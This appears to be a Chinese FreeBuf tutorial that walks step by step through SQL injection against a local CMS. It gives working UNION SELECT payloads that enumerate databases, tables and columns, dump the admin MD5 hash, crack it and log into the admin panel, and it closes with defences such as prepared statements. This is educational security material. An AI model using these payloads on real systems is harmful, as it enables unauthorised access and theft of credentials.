freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

盲注型sql注入
和风sukf 2021-07-27 17:53:03 173255

前言

在介绍SQL注入漏洞前,我想先说一下跟SQL注入相关的东西。例如网页的发展史,最开始的网页基本上都是静态页面,后面由于静态页面内容固定,维护困难,交互性差,功能单一等问题,创造出了以数据库技术为基础,内容多变,维护简单,交互性强(用户注册,用户登录,在线调查)的动态页面,也就是我们现在能够利用SQL注入漏洞的原因之一。

静态页面

html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。
静态页面工作原理:客户端发送请求---服务器返回相应html文件。

动态页面

由相应的脚本引擎来解释执行,根据指令生成静态网页,如PHP、JSP、ASPX等。
动态页面工作原理:客户端发送请求给服务器--->服务器PHP(JSP、ASPX)解析客户请求--->服务器生成相应HTML--->返还给客户端生成的HTML文件(或者其他文件)

SQL盲注漏洞原理

布尔型盲注:布尔型盲注语句需要在涉及判断的功能中才能使用,其中最常见的就是在查询条件的位置,分别拼接上一段结果为真和结果为假的判断语句,如果结果为真时显示效果与原来一-致,结果为假时查询不到数据或与原来数据不--致,则认为存在布尔型盲注。

时间盲注:对于没有涉及判断的功能,如插入、更新等语句的数据位置(而非条件语句的位置),或者布尔型盲注的结果无法判断的(如显示均正常或均异常),可以尝试使用时间型盲注语句进行测试,如果插入时间型盲注语句后服务器延时响应,则认为存在SQL注入漏洞。

1626422532_60f13d04eda59377e9fd0.png!small

SQL注入漏洞的危害
(1)绕过登录验证:在登录页面使用万能密码登录网站后台页面
(2)获取敏感数据:通过SQL注入获取网站管理员账号密码、用户信息等
(3)文件系统操作:利用SQL注入实现列目录,读取或者写入文件等
(4)注册表操作:利用SQL注入读取、写入、删除注册表等
(5)执行系统命令:通过SQL注入可以远程执行命令。

步骤一:判断注入点

目的:判断注入点,看到有id=的参数就想到可能有注入点

打开任意新闻的URL,如http://127.0.0.1/cms/show.php?id=32

1626422646_60f13d7653fddd5934062.png!small

在URL后添加“’”测试是否存在SQL注入,报错证明有SQL注入。

1626422652_60f13d7c88547aa368ab9.png!small

1626422657_60f13d818a30d94cd7a15.png!small

1626422662_60f13d8679bf00b0c14a9.png!small

1626422669_60f13d8dec6e61efe30b4.png!small

1626422675_60f13d9358e10ce2899af.png!small

1626422678_60f13d96b919f3cb7617d.png!small

1626422683_60f13d9bc0cb9d320e594.png!small

步骤二:判断字段长度:

目的: 判断字段长度

利用order by N,从数字1开始替代N,直到返回错误页面,判断字段长度为错误页面的N-1,也就是最后一个正常页面返回。

1626422689_60f13da12e8f4d435e57f.png!small

1626422694_60f13da67bd190d66e537.png!small

步骤三:判断字段位置回显

目的:判断字段位置回显

利用and 1=2 union select 1,2,3,4,5,……,15,最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3和11的位置可以回显信息。

1626422699_60f13dab02eec2c3de6f7.png!small

1626422703_60f13daf33b3839a26569.png!small

利用and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15,用sql指令替换sql_command。如:and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15这个语句是查看版本的。

1626422707_60f13db3957e6096f6689.png!small

1626422710_60f13db6ba3401ac77beb.png!small

步骤四:判断mysql所有数据库名称

目的:判断mysql所有数据库名称

利用and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看mysql中所有数据库的名称。可知业务数据库为cms。

1626422714_60f13dba889e4f456943b.png!small

1626422717_60f13dbdde280e4f29158.png!small

具有不同的编码,运用convert(using ...)来进行转换

1626422724_60f13dc403f94f70950f8.png!small

步骤五:判断数据库表名称

目的:判断数据库表名称

利用and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database(),查看cms数据库拥有的所有表。可以发现存放用户信息的表cms_users。

1626422727_60f13dc7e22190e3c7ff6.png!small

步骤六:判断数据表的所有列列

目的:判断数据表的所有列列名

利用and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

table_name=cms_users,表名需要编码为16进制。得到3个列:userid,username和password

1626422731_60f13dcbe8afbeb4b1029.png!small

1626422735_60f13dcfc54b05857adb6.png!small

1626422740_60f13dd44cef728371371.png!small

步骤七:判断管理员账号密码

目的:判断管理员账号密码

利用and 1=2 union select

1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e

1626422745_60f13dd9ec778784f6658.png!small

1626422749_60f13dddc639038880713.png!small

步骤八:破解密码

目的:破解密码

登录md5.Com解密

1626422753_60f13de1ce29a4d80ce07.png!small

步骤九:使用admin/123456登录后台

目的:登录后台

登录http://ip/admin/login.php

1626422779_60f13dfb054c176b5ed1d.png!small

1626422784_60f13e007cd6ea3a1f6cb.png!small

总结

作为OWASP TOP10中的漏洞之一,SQL注入漏洞在web安全中是比较常见的漏洞之一,建站人员应该提前做好防护措施,可以通过软硬件设备的防护,也可以进行过滤、编码、预编译等操作来防范SQL注入,通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生;基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句;基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令。

# 渗透测试 # web安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 和风sukf 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
和风sukf LV.4
这家伙太懒了,还未填写个人描述!
  • 18 文章数
  • 33 关注者
cnvd原创漏洞证书---某CMS存在通用型漏洞
2023-12-26
记一次内网渗透
2021-09-11
内网工具---Nishang研究
2021-09-07
文章目录